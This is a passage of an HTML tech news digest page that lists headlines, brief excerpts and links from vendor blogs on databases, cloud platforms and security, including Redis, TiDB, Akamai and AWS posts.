<h3 id="h3-ai-security-for-apps-is-now-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-ai-security-for-apps-is-now-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Security for Apps is now generally available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-security-for-apps-is-now-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare AI Security for Apps is now generally available, providing a security layer to discover and protect AI-powered applications, regardless of the model or hosting provider. We are also making </p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/ai-security-for-apps-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fast-tracking-industrial-and-ai-deployment-on-renesas-rz-platforms" class="group relative scroll-mt-24">
        <a href="#h3-fast-tracking-industrial-and-ai-deployment-on-renesas-rz-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fast-tracking industrial and AI deployment on Renesas RZ platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fast-tracking-industrial-and-ai-deployment-on-renesas-rz-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Certified Ubuntu 24.04 LTS images now available Canonical is pleased to announce the general availability (GA) of certified Ubuntu 24.04 LTS and Ubuntu Core 24 images for the Renesas RZ/G2L and RZ/G2L</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/fast-tracking-industrial-and-ai-deployment-on-renesas-rz-platforms"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-database-governance-with-opa-in-harness-db-devops" class="group relative scroll-mt-24">
        <a href="#h3-database-governance-with-opa-in-harness-db-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Database Governance with OPA in Harness DB DevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-database-governance-with-opa-in-harness-db-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how OPA policies in Harness Database DevOps enforce compliance, automate governance, and secure database changes with policy-as-code. | Blog</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/database-governance-with-opa-in-harness-db-devops"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-semantic-caching-routing-two-powerful-patterns-for-vector-classification" class="group relative scroll-mt-24">
        <a href="#h3-semantic-caching-routing-two-powerful-patterns-for-vector-classification" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Semantic caching & routing: two powerful patterns for vector classification
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-semantic-caching-routing-two-powerful-patterns-for-vector-classification"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Redis’ vector datatype allows you to perform unsupervised classification in milliseconds. This core technology powers both semantic caching and semantic routing — two powerful optimization techniques.</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/semantic-caching-and-routing-two-powerful-patterns-for-vector-classification/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-alternatives-why-there-are-no-exact-substitutes" class="group relative scroll-mt-24">
        <a href="#h3-redis-alternatives-why-there-are-no-exact-substitutes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis alternatives: Why there are no exact substitutes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-alternatives-why-there-are-no-exact-substitutes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Redis set the standard for fast. But sometimes you need different trade-offs like cost, scalability, simplicity, data durability, or licensing. That’s when teams start asking, “What else is out there?</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/redis-alternatives-why-there-are-no-exact-substitutes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-you-should-replace-stored-procedures-with-a-service-layer" class="group relative scroll-mt-24">
        <a href="#h3-why-you-should-replace-stored-procedures-with-a-service-layer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why You Should Replace Stored Procedures with a Service Layer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-you-should-replace-stored-procedures-with-a-service-layer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you’ve worked with relational databases long enough, you’ve almost certainly encountered stored procedures. They made sense in an era when network latency was expensive and applications were monoli</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/why-you-should-replace-stored-procedures-with-a-service-layer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-vs-valkey-for-memorystore-sprawl-resource-efficiency" class="group relative scroll-mt-24">
        <a href="#h3-redis-vs-valkey-for-memorystore-sprawl-resource-efficiency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis vs Valkey for Memorystore sprawl & resource efficiency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-vs-valkey-for-memorystore-sprawl-resource-efficiency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The problem of Memorystore &amp; Valkey sprawl Google Cloud Memorystore for Valkey looks straightforward when you start small. Each workload is tied to its own cluster, so teams spin up new clusters as ap</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/redis-vs-valkey-for-memorystore-sprawl/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-a-voice-first-ai-journal-what-i-learned-about-ai-memory-vector-search-and-tidb" class="group relative scroll-mt-24">
        <a href="#h3-building-a-voice-first-ai-journal-what-i-learned-about-ai-memory-vector-search-and-tidb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a Voice-First AI Journal: What I Learned About AI Memory, Vector Search, and TiDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-voice-first-ai-journal-what-i-learned-about-ai-memory-vector-search-and-tidb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I was talking to Claude the other day — not about code or some technical problem. I was venting about work, about life. And Claude responded with something so personal, so specific to my situation, th</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/how-to-build-an-ai-memory-architecture-that-actually-remembers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-updates-to-pgca-non-profit-sponsorship-levels-website" class="group relative scroll-mt-24">
        <a href="#h3-updates-to-pgca-non-profit-sponsorship-levels-website" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Updates to PGCA Non-Profit Sponsorship Levels & Website
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-updates-to-pgca-non-profit-sponsorship-levels-website"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As of February 2026, the PostgreSQL Community Association (PGCA), the official non-profit organization chartered by the PostgreSQL Core Team in 2011 to protect the Postgres brand assets, has updated i</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/updates-to-pgca-non-profit-sponsorship-levels-website-3254/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-real-time-personalization-for-retail-what-it-takes-to-respond-in-milliseconds" class="group relative scroll-mt-24">
        <a href="#h3-real-time-personalization-for-retail-what-it-takes-to-respond-in-milliseconds" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Real-time personalization for retail: what it takes to respond in milliseconds
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-real-time-personalization-for-retail-what-it-takes-to-respond-in-milliseconds"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your customer just searched for &quot;lightweight marathon shoes,&quot; scrolled past three results, lingered on a trail runner, and added it to their cart. By the time they hit the homepage again, the experien</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/real-time-personalization-for-retail/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-scylladb-to-kafka-naturas-approach-to-real-time-data-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-from-scylladb-to-kafka-naturas-approach-to-real-time-data-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From ScyllaDB to Kafka: Natura’s Approach to Real-Time Data at Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-scylladb-to-kafka-naturas-approach-to-real-time-data-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How Natura built a real-time data pipeline to support orders, analytics, and operations</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/09/from-scylladb-to-kafka-naturas-approach-to-real-time-data-at-scale/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-share-your-opinion-of-qodana-for-the-chance-to-win" class="group relative scroll-mt-24">
        <a href="#h3-share-your-opinion-of-qodana-for-the-chance-to-win" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Share Your Opinion of Qodana for the Chance to WIN!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-share-your-opinion-of-qodana-for-the-chance-to-win"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At Qodana, we’re always looking for ways to make our code quality platform more useful for development teams. Whether you’re using it to automate code reviews, enforce quality gates in CI, or monitor </p>
<p><strong>📅 Mar 15, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/03/qodana-survey/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-practical-guide-to-the-6-categories-of-ai-cloud-infrastructure-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-a-practical-guide-to-the-6-categories-of-ai-cloud-infrastructure-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A practical guide to the 6 categories of AI cloud infrastructure in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-practical-guide-to-the-6-categories-of-ai-cloud-infrastructure-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Platform teams and AI engineers are facing an unprecedented wave of decision paralysis. The rollout of NVIDIA’s Blackwell and GB200 The post A practical guide to the 6 categories of AI cloud infrastru</p>
<p><strong>📅 Mar 15, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-cloud-taxonomy-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-march-patches-for-azure-devops-server" class="group relative scroll-mt-24">
        <a href="#h3-march-patches-for-azure-devops-server" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 March Patches for Azure DevOps Server
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-march-patches-for-azure-devops-server"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are releasing patches for our self‑hosted product, Azure DevOps Server. We strongly recommend that all customers stay on the latest, most secure version of Azure DevOps Server. The latest release, </p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/march-patches-for-azure-devops-server-4/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudwatch-application-signals-adds-new-slo-capabilities" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-application-signals-adds-new-slo-capabilities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch Application Signals adds new SLO capabilities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-application-signals-adds-new-slo-capabilities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch Application Signals now offers three new console based capabilities for Service Level Objectives (SLOs): SLO Recommendations, Service-Level SLOs, and SLO Performance Report. CloudWat</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/cloudwatch-application-signals-adds-slo-capabilities/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-accelerate-serverless-application-development-with-new-sam-kiro-power" class="group relative scroll-mt-24">
        <a href="#h3-accelerate-serverless-application-development-with-new-sam-kiro-power" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Accelerate serverless application development with new SAM Kiro power
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-accelerate-serverless-application-development-with-new-sam-kiro-power"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS announces the AWS Serverless Application Model (SAM) Kiro power, bringing serverless application development expertise to agentic AI development in Kiro. With this power, you can build, deploy, an</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/aws-sam-kiro-power/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-m8azn-instances-are-now-available-in-us-east-ohio-region" class="group relative scroll-mt-24">
